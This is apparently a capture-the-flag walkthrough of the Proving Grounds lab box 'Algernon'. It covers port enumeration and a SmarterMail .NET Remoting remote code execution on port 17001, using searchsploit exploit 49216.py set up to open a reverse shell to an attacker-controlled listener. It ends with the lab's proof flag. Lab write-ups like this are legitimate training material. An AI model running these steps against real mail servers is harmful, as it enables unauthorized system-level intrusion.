Algernon — Proving Grounds (192.168.117.65)

sudo rustscan -a 192.168.117.65 -- -A -sC

#proving grounds#pg#walkthrough#boxes#os:windows#os:linux#tech:rce

Algernon — Proving Grounds (192.168.117.65)

Enumeration

🐺 howlsec@kalishell

$sudo rustscan -a 192.168.117.65 -- -A -sC
$ 
$21/tcp    open  ftp    Microsoft ftpd (Anonymous FTP login allowed; SmarterMail dirs: ImapRetrieval, Logs, PopRetrieval, Spool)
$80/tcp    open  http   Microsoft IIS httpd 10.0 (IIS Windows)
$135/139/445 msrpc / netbios / microsoft-ds
$5040/tcp  open  unknown
$9998/tcp  open  http   Microsoft HTTPAPI 2.0 (SmarterMail interface, /interface/root)
$17001/tcp open  remoting  MS .NET Remoting services
$49664+/tcp msrpc

FTP (21) anonymous login allowed; SmarterMail spool/log directories accessible. SMB (139/445) guest disabled, nothing useful. Web (9998) is the SmarterMail web interface.

Foothold: SmarterMail .NET Remoting RCE (port 17001)

Found RCE with searchsploit: windows/remote/49216.py (SmarterMail Remote Code Execution via the .NET Remoting service on 17001).

🐺 howlsec@kalishell

$# Edit the exploit:
$HOST='192.168.117.65'
$PORT=17001
$LHOST='192.168.45.198'
$LPORT=443
$# Run it -> NT AUTHORITY\SYSTEM shell
$python3 49216.py

🐺 howlsec@kalishell

$PS C:\Users\Administrator\Desktop> type proof.txt
$9c6ebc82593d3ecc4edbe48688a91805